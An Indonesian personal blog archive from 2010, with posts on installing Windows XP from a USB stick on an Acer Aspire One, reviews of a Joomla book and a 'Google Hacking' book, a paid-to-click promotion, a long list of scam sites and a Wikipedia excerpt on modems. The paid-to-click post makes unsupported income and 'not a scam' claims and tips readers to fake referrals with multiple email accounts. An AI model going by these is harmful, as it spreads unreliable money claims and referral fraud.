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Install XP di laptop aspire one

2010-05-07T22:35:00.000-07:00

Alhamdulillah akhirnya kesampean juga beli laptop. Pilihan jatuh pada Acer Aspire One.Karena yang warna biru stoknya belum ada jadinya ya dapet warna putih deh. Yahh ga apa-apa lah keren juga imut heheheh
Hardisknya cuma 8 Giga. Ada WiFinya.
Ada slot untuk memori card juga.
Sistem Operasinya Linux.
Laptopnya kecil bentuknya & ringan banget

Nah ternyata ribet bangetpake linux. susah ngoprasiinnya yah maklum lah belum terbiasa dengan OS yang satu ini.......
Trus aku berminat merubah OS ini dengan Xp yang sudah familier. Bingung juga secara ni laptop tidak dilengkapi dengan CD romnya hmmmm......

Terus saya coba cari tahu bagaimana ngakalinnya...

Taraaaaaaaaaa... finally dapet jugaaa

Installasi dengan menggunakan USB Flashdisk.

Apa aja file2 yang dibutuhkan? Silahkan disiapin semua ya..

1. CD Windows XP
2. Flashdisk (kapasitas minimal 1 giga)
3. File USB_PREP8 yang bisa didownload di : Klik disini
4. File PeToUSB yang bisa didownload di : Klik disini
5. File Bootsect.exe yang bisa didownload di : Klik disini
6. 1 set Komputer yang pake Sistem Operasi Windows (misalnya Windows XP).

Setelah semuanya siap, langkah berikutnya adalah:

Misalnya kita udah buat folder baru di drive C: dengan nama foldernya xpacer
Copy file usb_prep8.zip bootsect.zip dan PeToUSB_3.0.0.7.zip di folder xpacer
Jadi di drive C:\xpacer ada 3 file ya.

Ekstrak file usb_prep8.zip
caranya, klik kanan pada file tsb lalu pilih “Extract Here”

Ekstrak file bootsect.zip
caranya, klik kanan pada file tsb lalu pilih “Extract Here”

Ekstrak file PeToUSB_3.0.0.7.zip
caranya, klik kanan pada file tsb lalu pilih “Extract Here”

Copy file PeToUSB.exe ke folder USB_prep8

Klik dua kali file usb_prep8.cmd yang ada didalam folder USB_prep8

Nanti akan muncul “Press any key to continue” yang artinya “pencet apa aja dah. terserah lu”

Setelah dipencet akan tampil windows PeToUSB. Jangan tutup apapun! biarkan saja ya.

INGAT!!! File di USB Flashdisk anda harus diformat.
Kalo ada datanya, silahkan di backup dulu datanya atau di copy ke komputer anda.
Kalo udah, silahkan klik Start untuk mengformat Flashdisk

Setelah proses format selesai, jangan ditutup ya windowsnya.

Pada desktop, klik Start, pilih Run, ketik cmd (lalu tekan Enter atau klik OK)

ketik CD\ (lalu tekan Enter)

ketik cd xpacer

ketik cd bootsect

ketik bootsect.exe /nt52 I: (I adalah drive USB)
jadi kalo drive USB kamu adalah E berarti kamu harus ketik :
bootsect.exe /nt52 E: (lalu tekan enter)

Kalo berhasil, nanti akan muncul tulisan “Bootcode was successfully updated on all targeted volumes.”

Tutup Command Prompt yang ini (jangan yang usbprep8 ya!!)
Tutup juga windows PeToUSB.

Pada windows Command Prompt yang usbprep8, tepatnya ditulisan Enter your choice :

Ketik angka 1 lalu tekan Enter. Silahkan browse ke drive CD Windows XP
Ketik angka 2 lalu tekan Enter. Masukkan huruf yang belum terpakai untuk nama drive, misalnya T
Ketik angka 3 lalu tekan Enter. Masukkan huruf tempat drive USB Flashdisk anda. misalnya H
Ketik angka 4 lalu tekan Enter. Mulai Proses copy ke USB Flashdisk.

Nanti ada pertanyaan apakah anda ingin mengformat drive T. Ketik y lalu tekan enter.

Kalo udah tekan enter lagi untuk melanjutkan.

Trus tekan enter lagi.

Nanti akan muncul popup, klik aja yes.

Klik yes lagi kalo ada popup yang muncul.

Klik yes untuk melakukan unmount virtual drive.

OK. Proses selesai.
Silahkan tutup windows Command prompt usbprep8

USB sudah bisa dipakai untuk melakukan instalasi Windows XP ke Acer Aspire One.

Sekarang colokin USB Flashdisk kamu ke laptop
Jangan lupa di laptopnya boot pertama kali pilih yang boot dari USB.

Caranya? pas nyalain laptopnya, trus tekan F2.
Nah udah masuk BIOS kan? yang layarnya warna biru tuh…

Bootnya pilih yang USB ya.

Nah, nanti pas instalasi, pilih yang mode TEXT SETUP.
Saya anggap semua dah pada tau cara install XP, jadi tidak usah saya jelasin lagi disini.
intinya ya kamu harus buat/hapus partisi, trus formatnya pilih yang NTFS.

setelah komputer lu restart, selanjutnya pilih yang GUI Mode (JANGAN yang TEXT MODE!!)
kalo restart lagi, pilih lagi yang GUI MODE.

Nah, kalo instalasi XP udah selesai, jangan cabut USB Flashdisk ya!

Kalo udah masuk ke desktop XP, baru deh boleh cabut Flashdisknya.
Jangan lupa di “Safely Remove Hardware” dulu ya..

Karena XPnya udah jalan, nanti di BIOS di balikin lagi ya booting-nya ke hardisk.

Sorry gak ada gambarnya ya…

Error Solution
1. Jika saat dibuat boot bertemu tulisan “tempimage.img was not found” berarti anda harus pindah drive. Jika di drive C error, maka gunakanlah drive D

2. Jika waktu menginstall, keluar error.. Maka cara ini gagal.. Anda harus menggunakan CD eksternal dan diboot dari CD windows yang ada di CD eksternal.

Resensi - Joomla Extensions

2010-02-12T23:30:00.001-08:00

Judul : Joomla! Website Magic 2 (Extensions Edition)
Genre : Webmaster - CMS - Joomla!
Tebal Buku : xi + 97
Tahun Terbit : Oktober 2008
Cetakan : Pertama
Penerbit : Jasakom
Reader Class : Beginner – Intermediate
Harga : Rp 59.000,-

Book’s Review
---------------------------------------------------------------------------------------------------------------------
Saatnya memberikan obat kuat kepada website yang dibuat dengan Joomla!. Buku ini akan menunjukkan berbagai tambahan unik yang bisa anda tabahkan ke dalam website dan membuat website anda menjadi serba bisa.
Beberapa tambahan yang dubahas dibuku ini antara lain adalah pembuatan banner yang unik dan tidak umum, pembuatan counter pengunjung yang akan memperlihatkan statistic pengunjung, membuat galley, membuat form registrasi yang sangat berguna ketika anda membuat berbahai macam acara, menambahkan fasilitas komentar dan tentu saja tidak lupa penambahan kemampuan yag sangat penting, yaitu backup dan restore.
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Pros and Cons
Kelebihan :
1. Memiliki banyak gambar sehingga membuat pembaca lebih mengerti
2. Cetakan buku terbilang sangat bagus
3. Isi artikel masih berlaku sampai Joomla! versi berapapun
4. Pemilihan artikel / isi sangat baik, sehingga benar-benar memodifikasi website
5. Isi buku cukup komunikatif dan mudah dimengerti

Kekurangan :
1. Tidak menjelaskan kelebihan Joomla! dibanding CMS lain
2. Harganya mahal untuk buku setipis itu
3. Tulisannya agak kecil
Book’s Score (Review)
---------------------------------------------------------------------------------------------------------------------
Sewaktu saya membaca buku ini, saya sangat tertarik dengan banyaknya gambar dalam menjelaskan langkah tertentu. Jujur, saya sendiri lebih senang melihat gambarnya disbanding tuisannya, ya walaupun isi buku termasuk komunikatif dan mudah dimengerti, saya tidak tahan dengan tulisan yang kecil itu. Jadi, saya harus istirahat setiap 15 menit untuk menyegarkan mata saya kembali. Isi buku mengenai ekstensi joomla tergolong sangat baik karena ekstensi yang dipilih adalah ekstensi yang benar-benar rumit dan dapat menjadikan suatu website menjadi sangat bagus
---------------------------------------------------------------------------------------------------------------------
Book’s Score
Jika nilainya antara 1 – 100, saya beri nilai : 84
Kesimpulan
Buku ini sangat bagus untuk dibaca oleh semua kalangan, khususnya untuk para calon webmaster yang baru.

Resensi - Google hacking

2010-02-12T23:29:00.000-08:00

Resensi

Judul : Google Hacking Exposed – Cara Baru Melakukan Hacking Tanpa Tools

Genre : Internet – Hacking

Tebal Buku : viii + 197 Halaman

Tahun Terbit : Februari 2009

Cetakan : Pertama

Penerbit : Connexi

Reader Class : Beginner

Book’s Review

---------------------------------------------------------------------------------------------------------------------

Dengan melakukan Google Hacking, apapun bisa anda lakukan. Termasuk hal-hal yang selama ini masih mitos, seperti carding, web deface, Membongkar password, membaca isi email orang lain, mengirim email palsu, menggunakan tools yang ada di web, dll. Tak hanya itu pula, dalam buku ini akan ditunjukkan bagaimana cara mencari banyaknya eksploit terbaru yang bergentayangan

---------------------------------------------------------------------------------------------------------------------

Pros and Cons

Kelebihan :

1. Isi artikel cukup jelas bagi orang yang masih awam didunia hacking komputer
2. Bagian per Bab di tulis secara urut, dimulai dari pembelajaran yang mudah hingga sulit
3. Terdiri dari banyak gambar, sehingga memudahkan pembaca memahami pelajaran
4. Bahasa penyampaian sangat menarik dan dimengerti sehingga tidak membuat bosan pembaca
5. Sampul buku dan cetakannya bagus sehingga menarik pembeli
6. Diakhir buku, telah ditulis peringatan agar orang yang membaca tidak menggunakan ilmunya untuk merusak.

Kekurangan:

1. Isi buku kurang sesuai dengan kondisi sekarang (Misal : Pada waktu dulu, Kode hacking dapat dijalankan di Google, sekarang tidak bisa)
2. Terkadang, beberapa pelajaran dari suatu bab tidak dapat dibuktikan/digunakan

Book’s Score (Review)
---------------------------------------------------------------------------------------------------------------------
Sewaktu saya membaca buku ini, hal yang harus saya akui adalah penyampaiannya yang friendly dan bahasa yang mudah dimengerti. Akan tetapi, lama kelamaan saya merasakan bahwa buku ini hanya dibuat untuk pemahaman konsep hacking, karena setiap saya mempraktekan ilmu dari buku ini, pengalaman hacking yang saya dapat itu kecil. Selain itu, banyak isi dari buku itu yang tidak sesuai dengan kondisi sekarang (Contohnya sudah dibuktikan diatas). Jadi, saya hanya memberi masukan kepada penulis, supaya ilmu hacking harus dikembangkan agar ilmu tersebut selalu mengikuti perkembangan zaman. Buku ini cocok dibaca hanya oleh orang yang sama sekali baru (Beginner) mengenal hacking, kalo sudah menengah ke atas, saya jamin akan bosan untuk membaca buku ini.

---------------------------------------------------------------------------------------------------------------------

Book’s Score

Jika nilainya antara 0 – 100, saya beri nilai : 79

Kesimpulan
Buku ini bagus untuk dibaca untuk para pemula yang ingin menjadi hacker

Mendapatkan dollar secara instan

2010-02-12T23:26:00.000-08:00

Hah, Mendapatkan dollar secara instan? Apa mungkin? Mungkin aja, apalagi jika kita disuruh hanya untuk mengeklik iklan yang disediakan, lumayan loh.. satu kali klik iklan sekitar 0.01 $ - 0.03 $, hanya segitu? sedikit amat? tetapi tunggu dulu. Jika kamu membaca perhitungan 10bux.net. Maka

Perhitungan harian (Menurut 10bux.net)

Earnings Example
» You click 10 ads per day = $0.10
» 20 referrals click 10 ads per day = $2.00
» Your daily earnings = $2.10
» Your weekly earnings = $14.70
» Your monthly earnings = $63.00
Ditambah lagi, jika anda memiliki upline, maka anda kemungkinan akan mendapat bonus dollar (Serius, gak tau kenapa, saya daftar di URL referall orang. Ternyata, mendapat duit lebih besar daripada gak punya upline). Makanya, lebih baik anda menjadi referall orang (Apalagi orang itu adalah orang yang kasih info itu ke kamu... halah, jadi promosi ni.. hehehe, gpp dong promosi dikit ). Karena selain orang yang anda referall dapat duit tambahan, kamu nantinya juga mendapat referall (hukum karma, hihihihi). Udah gitu, kalo kamu ikut referall, kamu gak akan rugi (alias kalo jadi referall, duit anda tetap, tidak berkurang). Jadi, apa ruginya kita menjadi downline orang (kalo ada yang bisa membuktikan punya upline ngurangin duit, kasih buktinya ke saya (guide, link, artikel, forum, etc).

Jadi, anda tentu tidak boleh melewatkan kesepatan ini. Nah, resensi dan reviewnya akan saya sampaikan dibawah ini :

1. B-U-X.net (Highly Recommended)
Kelebihan :
1. Masalah maintenance serta antinya sudah sangat bagus
2. Dalam satu hari, iklan yang muncul bisa sebanyak 10-15 iklan (banyak amat)
3. Nah, jika memiliki referall misalnya sebanyak 100 referall, maka penghasilan perbulan anda bisa mencapai US$ 630 (Mantep bener, Cuma jegang dapet 6 juta sebulan)
4. Dijamin bukan scam !!!
Kekurangan :
1. Termasuk kecil per kliknya , hanya US$ 0.01
2. Jika tidak memiliki referall, dijamin akan stress (percaya deh)

2. 10bux.net
Kelebihan dan kekurangan sama dengan B-U-X.net, jadi H-I-G-H-L-Y R-E-C-O-M-E-N-D-E-D

3. Neobux
Kelebihan :
1. Ini adalah situs PTC yang baik (Menurut ku) karena selain maintenancenya bagus, anti-phising, anti-hacking, anti-robot klik, juga dilengkapi dengan server yang selalu uptime 24 jam.
2. Dibayar 0.02$ per klik, lumayan banyak
3. Jika anda sudah memiliki referall yang ampe beratus-ratus, anda bisa mendapatkan sangat banyak dollar, sbg contoh referall anda 100 orang, jika anda lihat perhitungan diatas. Maka penghasilan anda perbulan mencapai US$ XXX !!! (OMG, makanya saya bikin artikel ini.. hihihihihi, XXX = “Buktikan sendiri”, hihihihi)
Kelemahan :
1. Jumlah iklan yang muncul teramat kecil, yaitu 4 iklan perhari
2. Penghasilan yang diterima sebenarnya sangat sedikit, jika anda tidak memiliki referall
3. Orang yang tidak sabar tidak akan bertahan, percaya deh..

4. Upbux
Kelebihan :
1. Mendapat bonus $0.05 saat anda signup
2. Harga per klik sama dengan neobux
3. Hampir semua anti dan maintenance sama dengan neobux
4. Cara bisnis sama dengan neobux
Kekurangan :
Sama dengan NeoBux
Tips dan Triks
Nah, cara curangnya sebenarnya seperti ini.
Anda misalnya ingin membuat kaya di 10bux.net, anda harus memiliki alamat email yang berbeda-beda (usahakan 10 atau lebih). Lalu anda mendaftar lewat URL referall yang anda punya. Sbg contoh link referall : http://10bux.net/refid=xxx
jika, anda mendaftar sebanyak 10 kali di alamat referall anda, maka anda mendapat referall 10. Jadi, jika anda ingin mendapat US$ 63 perbulan, maka anda harus mengeklik iklan sebanyak 100 klik perhari (jika anda memiliki unlimited broadband, tentu tak masalah). Tapi, cara ini tentu tidak efisien dan anda akan dianggap spam oleh 10bux. Oya, untuk link, silahkan lihat paling atas kanan blog ini ya...

Daftar SCAM

2010-02-09T23:30:00.000-08:00

Ada lebih 700 buah bisnis online SCAM/penipu yang berhasil saya himpun dari berbagai sumber online, silahkan dicek daftar bisnis online SCAM di bawah ini, bila bisnis yang anda ikuti atau akan anda ikuti terdapat dalam daftar bisnis SCAM di bawah, jangan ragu-ragu dan segera tinggalkan, karena, walaupun bisnis-bisnis tersebut gratis pendaftarannya, anda tetap saja akan membuang-buang waktu dan uang untuk online, anda telah mengun- tungkan orang lain yang mendapatkan bayaran dari iklan yang anda klik sementara anda tidak mendapatkan apa-apa, jangan sampai tertipu.

Daftar tersebut saya susun urut abjad agar mudah untuk mencari tahu, bisnis yang akan anda ikuti SCAM atau bukan.

Di luar daftar tersebut, masih ribuan program SCAM yang leluasa mengincar mangsa di dunia maya, segera hapus email yang berasal dari pengirim yang tidak dikenal, hindari program-program money game berkedok MLM, hindari bisnis yang mengajak kerja de- ngan ongkang-ongkang kaki tapi memberikan imbalan penghasilan yang sangat tinggi terlebih lagi kalau imbalannya fantastis, bisnis-bisnis tersebut walaupun mungkin untuk dicapai, tetapi tetap saja akan ada korban sampai batas tertentu, dalam bisnis ini anda akan menajdi penipu atau tertipu.

00euromails.com

1000clicksptr.com
100cent-mail.com
100cents-1000dollars.com
100-dollars-mail.com
100dollarsmails.com
100euromails.com
100usd.com
10dollar-mail.com
135flower.com
1-800-Mail.com
1-dolar-mail.com
1stprofit.com

200dollars-email.com
200dollarsmail.com
200eurocent-200euro.com
200eurocent-200euro.com
200euromails.com
200euromails.net
20dollarsmail.com
247payouts.com
25dollarsmail.com
25-dollars-mail.com
2dollaremails.com
2-dollar-mail.com
2-opt.com

300dollarsmail.com
30dollarsmail.com
37-21mail.com
3-dollar-mail.com

400dollarsmail.com

500cents-500dollars.net
500cents-500dollars.org
500pounds-and-500pence.com
50centptr.com
50dollarsmail.com
520Searcher.com
5dollarmails.com

60de.com
60euromail.com

7centsolos.com
7thheavenptr.net

80euromail.com
8cent-emails.com

AA
aaa-mails.com
Aaruka?? – No communication, no bar
Ad4Me
Adbroadcast – Dead
ad-fortune.com
adonlyptc.us
Adperks – Out of business
ad-qds.com
Adsavers – Ended rewards program
Adshouse – Lost accounts
adsmaker.net
adsneed.com
AdverCash
advertisingcentral.biz
Adviewers – Free hosting, free domain name
Affinia – Out of business
aglocomails.com
Ahacash.com
Allamericanmails.com :
allcashmail.com
Alliance4Wealth
AllMyMoneyForYou.com
allyousubmitters.com
almiyachts.com
Alohacash.com
Altavista – Ended rewards program
alwayspay.com
AmazingSolution
american-mails.com
amigoemail.com
amity cash*
a-n-cash.com
annies-biz.com
ans-advertising.com
apachemails.com
applemails.com
appolomails.com
arcane-mails.com
arcsurvey.com
articmails.com
Aryval – Disappeared
atom-mails.com
auction-emails.com
awsurveys.com

babyloncash.com
bank-mails.com
Basicpoint – Changed terms
Bearcatonline – Poor webdesign, no account login
bearshare-mails.com
beautymails.com
beehivemails
Bepaid – Hasn’t sent checks out after a few months
bestflymails.com
best-hyip.be
beta-cash.com
bettybucks.com
Bigbang – Lost accounts, hasn’t sent checks out
bigdollat-mails
biggestdollars.com
Blue-Maniacs.com*
bluerwebmail.com
Bluetree
boffopaidmail.com
bondjamesbond.net
boratmails.com
boss-mails.com
bravevolitation.com
bugcash.com
businessptr.com
buxeuro.com

camel-mails.com
can-discount.com
cannabismails.com
cash4hits.com
Cashactive – Disappeared
cashbux.com
Cashclicksconcepts – No commuication
cashdirectly.com
casheden.com
cashfiesta.com
cash-kitty.com
CashMagic
Cashmeter – Changed terms
cashnclicks.com
cashorigin.com
cashpointclicks.com
Cashradio – Hasn’t sent checks out after a few months
cashread.com
cashsea.com
Cashspace – Hosted by half-price hosting, had stolen site design
casino-mails.com
Cast-net – Lost accounts, hasn’t sent checks out after a few months
catch-cash.com
cat-mails.com
Catpile – Disappeared
cat-ptr.com
cclass-act-clicks.com
cfdventure.com/
cgcash.info
charm-mail.com
chicago-ptr.biz
chobit-mails.com
chobitsmails.net
Click2net – Changed referral link without telling anyone, lost accounts
clickbux.org
clickbuxx.com
Clickdough
clickingmoney4u.com
ClickMail
click-mails.com
clickoly.com
Clicks2cash – Hasn’t sent checks out after a few months
ClickTopSite
clicktopsites.com
ClickyCash
Clickycash – Disappeared, links to PTS programs, selling user info
Clickzones – Disappeared
CloneBux
closet-clickers.com
cloudmails.com
Clubjenza – Disappeared
coast-mail.com
Coins2cash? – Promoting other PTS sites
Colorstamps – Ended rewards program
compactmails.com
Coolagent – Disappeared
Coolwallstreet? – Lost accounts
cooperativemail.com
Cooprewards – Bought out
copymails.com
cosmicwealth.com
cosplaymails.com
coverclicks.com
cowboy-mail.com
C-Pay – Disappeared
crabmails.com
Crazy-4-cash
cream-mails.com
cy-mails.com
dallas-ptr.com
Datacash – Dead
Data-X/Hitmaster
daydayupemails.com
Dealdrive – Dead
Dealviewer – Disappeared
deepseacash.com
deliriouspaidemails.com
delta-cash.com
DesktopDollars
DesktopHorizon – Disappeared
DiamondBux
diamond-mails.com
digital-ptr.com
Dimeclicks – Hasn’t sent checks out after a few months
dj-mails.com
dollar-factory.com
Dollars4mail
dollarslove.com
dollarsmaker.net
dolphincents.com
donkeycash.info
DotAd
Dotad – Disappeared
Doughmail – Disappeared
dragone-search.com
dragonhole.com
dreamstarmail.com
drumcash.com
dungeonanddragonemails.com
duno.com
dynasty-mails.com

e2dia – Ended rewards program
EagleClickNet
eagleclicknet.com
earn4read.com
earn-emails.com
Earnit – Free hosting, poor webdesign
earnptr.com
earnup.com
easy-gain.com
eBoodle
E-cash – Hasn’t sent checks out after a few months
egold.com : e-gold palsu tanpa ‘-‘
eLance – Ended rewards program
electric-mails.com
electron-mails.com
elephantadvertising.com
elephant-mails.com
email2rewards.com
emailpremium.com
emailprofit.us
e-mailptr.com
emails-empire.com
emailspayu.net
emeraldcoastptc.info
Emeraldcoastptc.info
energy-mails.com
englandbux.com
englandbux.org
enjoyfunds.com
epaybar – Dead
Epidemic – Out of business
Epilot.com
Epinions – Ended referral program
ePipio – Hasn’t sent checks out after a few months
eqmails.com
e-qold.com : huruf g diganti q
EqualPoints
Esumer – Dead
euro-capinv.com
eurocentsmail.com
euro-emails.com
euro-mails.com
Euronextgame -Dead
evergreenfund.net
expert-mails.com
Extrabuck – Disappeared
ExtraSalary?? – No communication, no bar, lost accounts
eyemails.com
fairydollars.com
farland-cash.com
fastbux.com
feermial.com
feer-mial.com
fillmyaccount.com
filmyinbox.com
financialrevolusi.com
finland-capital.com
flashrich.com
flaviomails.be
Forexinvesta.com
forex-mails.com
fortuneemail.com
found.com
fourleafclovermail.com
Freedollars – Free hosting
Freejoin – Disappeared
free-kingdom.com
Freelivebingo – Dead
Freeride – Reduced rates
FreeScholarships – Dead
FreeWebStuff
Freewebstuff – Disappeared
Friendfinder – Hasn’t sent checks out after a few months
Fun2email – Disappeared
funkycashmail.com
FunnyMoney
futureptr.com
gamma-cash.com
Gatkin – Disappeared, poor webdesign
gem-mails.com
getor-mails.com
Getpaid4 – Reduced rates
getpaidbyemail.com
getpaideasy.com
getpaidmail.com
GetPaidtoJoin – Has referral links to other PTS companies
Getpaidtosendemail
getpaidwatch.com
giga-cash.com
giga-mails.com
gladiator.ws
globalcard-services.com
Go4Billion
goaio.com
goldearning.com
Goldenchannel – False history, false testimonials, no contact info, unbelievable rates, goldenemail.com
goldptr.net
golfmails.com
goodluck-email.com
google-mails.com
GossipAsia
gowellup.com
Graphcard.com
graspaftertime.com
grassmails.com
Gravitygoo – Disappeared, hasn’t sent checks out after a few months
green-cash.com
greetgold.com
Grreat – Disappeared
gt888.com
GTW – Reduced rates
halfmillionmails.com
hamburg-mails.com
happyearning.com
happyptr.com
hello-mails.com
hellotomy.com
herroptr.com
highbidppc.com
holiday-mails.com
holiday-mails.com
hollywood-mail.com
HomepageRewards – Out of business
honestmails.com
honestptr.com
Horsebucks – Ubelievable payrate
horse-mails.com
hotinvest.biz
Hotyellow – Dead
huge-mails.com
hummingbird-mail*
husky-mails.com
ice-mails.net
iFreedom – Bought out
Ignifuge – Hasn’t sent payments out after a few months
ilikeemails.com
ImperialFund.com
Inboxcash.com
indo-changer.com ada tanda ‘-‘
indoinvestas.com :
indomoneychanger.com
InfoAdsNetwork
Infopol – Disappeared
Infostry – Never updates
innotime-cash.com
insanbersama.com
inspiremarrow.com
instant-dollars.com
InteractiveResearch – Dead
interptr.com
int-fund.com
intgold.com
invest7days.com
investasiplus.com
invest-gold.net
invest-mail.com
ippomails.com
ippomails.net
iriverptr.com
Itadsup
Itadsup – Hasn’t sent checks out after a few months
jackpot-ads.biz
jays-paidmail.com
Jewelspaylinks – Disappeared
job-readmail.com
JoinPrizes – Hasn’t sent checks out after a few months
Jotter – Ended rewards program
junglecash.com
justcashInc.com
kiddays.com
kitcatcash.com
Klickback – Dead
klikini.net
libertycash.biz
lightstarmail.com
lightstarmail.com
LinkBurst.com*
linkread.com
lion-mails.com
Listmill – Dead
littleengineptr.com
loading-mails.com
logans-legacy.com
lolclicks.com
lookingemail.com
lovebird-mails.com
loveburd-mails.com
loving-mail.com
magicalmails.com
MagiCash
magnetismail.com
Mailarmada – Ended rewards program
Mailclicker – Has referral links to other PTS companies, spelling errors
mails2earn.net
MakingCash
malisanko-emails.com
mangoemails.com
Manyads – Dead
many-mails.com
maystromails.com
maystromails.net
medal-mails.com
MegaDana.com
megaptr.com
meggarichemails.com
mellow-mails.com
mesmerizing-mails.com
metal-emails.com
metalpaidread.com
meteor-mails.com
michellesrandomizer.com
milion-mail.com
millionaire-mail.com
million-mails.com
mimimcash.com
MiniBux.com
minimails*
MiracleMail
mistyandsamcash.com
mobileptr.net
Momomoneyclicks – Free hosting
moneybagsmail.com
moneybux.com
moneydogptc.com
moneyems.com
Moneyformail – Disappeared
moneymouser.com
moneysbank.com
moneys-bank.com
Mushmails*
mushroom-mails.com
mushroomsmail.com
mValue – Out of business
MyBizs*
myemag – Dead
mygpt.com
Myservice – Lost accounts
mysweetheartmail.com
nature-mails.com
Netflip – Changed referral program
netgold4u.com
Netgratus – Ended referral program
Newsurf – Never updates, free hosting
niceptr.com
Nightmail – Hasn’t sent checks out after a few months
no2allmails.com
number-emails.com
numenmail.com

ohomails.com
okaymail.com
ok-ptr.com
ok-usd.com
onedollarmail.com
one-mails.com
oneperson-mail.com
OneSight – Changed referral link without telling anyone
OneSRC – Bought out
onlygravy.com
Opt-in-pays.com*
orangemails.com
ourpaidmail.com
ourpaidmail.com
oursharedsuccess.com
outstandingmail.com

Paidbig – Disappeared
paidbizopmail.com
paidbux.com
Paidemail – Lost accounts, disappeared
Paidforsurf.com
paidmail.ru
paidmailengine.com
paidsolos.com
paidstation.com
paidworld.com
PaidZone
pay2searchers.com
Pay4mail – Changed referral link without telling anyone, lost accounts
Pay4Visit – Free hosting, poor webdesign
Paybar
Paydate – Hasn’t sent checks out after a few months
PayingAd – Hasn’t sent checks out after a few months
payingcash.info
Paymentalt – Disappeared
Payolaemail – Dead
Payplace – Ended rewards program
Paypro – Disappeared
Paytree – Dead
payyou123.com
payyoudollar.com
pcash.info
Peacefulvoid – Has referral links to other PTS companies
pekingcash.com
perfect-emails.com
peststar*
petromails.com
phoenixcash.info
pig-mails.com
pizzamails.com
platinum-investment.com
platinum-mails.com
Pocketscreen?? – No communication
Pointclick – Changed terms, dead
Pointpals – Dead
polarbearmails.com
Poocool*
popomails.com
Powerdime – Out of business
power-mails.com
powersmails.net
pretti.mail.com
pretty-mail.com
prettyptr.com
Prizedispenser – Dead
Prizewindow – Disappeared
Profers.com
Profinity – Dead
Profitfrommails.com
ptr4you.net
ptr-enterprise.com
ptrforce.com
ptr-hun.info
ptrland.com
ptr-trading.com
puma-mails.com
pumpkin-mails.com
puppypaid2clicks.com
PurchaseAlert?? – No communication

quality-profits.com

rabbit-mails.com
Radiofreecash – Hasn’t sent out payments after a few months
rainbow-mail.net
rainbow-mails.com
readrevenue.com
realmails.com
Rewardbuddies – Out of business
richmails.com
Riffage – Out of business
rivermails.com
road-mails.com
Rocket8 – Changed referral link without telling anyone
Rocksurfers – free hosting, poor webdesign, unbelievable rates
rose ptr*
rosenet-emails.com
royalcash-mails.com
royalinvest.biz
Royaltimarketing.com

SanchisPlace – Disappeared, poor webdesign
scarlettmails.com
sea-mails.com
secret-mails.net
sectoronlinefund.com
seekbizs.com
seekcashmail.com
Senditon – Disappeared
sepooq.com
seriousbucks.com
SharedMails.com
Sha-ring – Links to PTS programs
Sharkhunt – Dead
Shopdog – Out of business
Shopvault – Disappeared
silvanamails.com
silvanamails.net
siteclubemail.com
sky-wolf.net
smile-email.com
SnapDollars.com
SnowClicks*
softemails.com
solarclick.com
solidinvestment.com
solomaniac.com*
southmails.com
speed-mails.com
spicemails.com
spidermanemails.com
sprint-cash.com
startmails.com
StartStart – Never updates
strongptr.com
studio-mail.com
summer-mails.us
sun-cash.com
sunday-mails.com
sunflowersptr.com
sunny-mails.com
suns-cash.com
super-mails.com
super-program.com
superstarmail.com
Surf2web? – Lost accounts
Surf4euros?? – No communication, no info, no bar
Surfad – Disappeared
surfanearn.net
SurfBuzz – Out of business
Surferall – No paid to surf program mentioned on site anymore
Surferdollars? – Lost accounts
Surfing2Cash – Dead
SurfingPrizes – Out of business
Surfjunky.com
SurfMiles
surforhits.com
surprisemails.com
symantec-mail.com*
systemmails.com

tango-mambo.com
tarantulas-mails.com
tarbux.com
Targetshop.com
tata-cash.com
tendollarsmail.com
teneuromail.com
Thatpays – Hasn’t sent checks out after a few months
TheBux
thegoldcave.com
thegoldclick.com
thegoldenemail.net
thegoldinvest.com
thegoldmail.com
Themail.com
TheStudentSaver
tiger-mails.com
timelessearn.com
Titansearch – Disappeared, hasn’t sent checks out after a few months
tnt-e-mail.com
tomails.com
tombmailer.com
tomoonmail.com
tons-referrals.com
topdollaremails.com
Totale-mail – Changed referral link without telling anyone
trade-mails.com
trafficinvader.com
Trespass – Lost accounts, hasn’t sent checks out
trustfulmail.com
trustmails.com
Tulip PTR*
turtle-mails.com
twodollarsmail.com
tycoonmails.com

Uniquesurf – Stolen account pages, hasn’t sent checks out after a few months
united-empire.com
unitmails.com
universalclix.com.br
Urge2Net – Disappeared
usa-canada-email.com

vice-ptr.com
Viewdot – Dead
VIPBenefits?? – No communication, no bar
viper-clicks.com
Virtuads – Out of business
VirtualStartPage – Lost accounts, hasn’t sent checks out after a few months
W
Wackyware – Disappeared
warm-mails.com
Wavevu – Dead
weapon-earnings.info
webbercash.com
welovepay.com
WePayAll
western-mails.com
wet-clicks.com
Whatshotnow – No rewards program mentioned on site anymore
wingmails.com
woo-mails.com
worldwide-cash.net
worldwidemails.com

X – Dead
Xmarksthespot – Bought out
xsc-mail.com

Yellowbubble – Lost accounts
yippeemails.com
Yourinternetwork – Dead
youromail.com
Youropinioncounts – Dead
Youtopia?? – No communication
Yoyomail – Changed referral link without telling anyone

Zemtro – Dead
Zeroboundaries – No communication, no bar
zero-investments.com
Zosbox – Out of business
zwallet.com
zy-mails.com
zyseamail.com

Modem

2010-02-07T15:52:00.001-08:00

From Wikipedia, the free encyclopedia
Modem (from modulator-demodulator) is a device that modulates an analog carrier signal to encode digital information, and also demodulates such a carrier signal to decode the transmitted information. The goal is to produce a signal that can be transmitted easily and decoded to reproduce the original digital data. Modems can be used over any means of transmitting analog signals, from driven diodes to radio.
The most familiar example is a voiceband modem that turns the digital 1s and 0s of a personal computer into sounds that can be transmitted over the telephone lines of Plain Old Telephone Systems (POTS), and once received on the other side, converts those 1s and 0s back into a form used by a USB, Ethernet, serial, or network connection. Modems are generally classified by the amount of data they can send in a given time, normally measured in bits per second, or "bps". They can also be classified by Baud, the number of times the modem changes its signal state per second.
Baud is not the modem's speed in bit/s, but in symbols/s. The baud rate varies, depending on the modulation technique used. Original Bell 103 modems used a modulation technique that saw a change in state 300 times per second. They transmitted 1 bit for every baud, and so a 300 bit/s modem was also a 300-baud modem. However, casual computerists confused the two. A 300 bit/s modem is the only modem whose bit rate matches the baud rate. A 2400 bit/s modem changes state 600 times per second, but due to the fact that it transmits 4 bits for each baud, 2400 bits are transmitted by 600 baud, or changes in states.
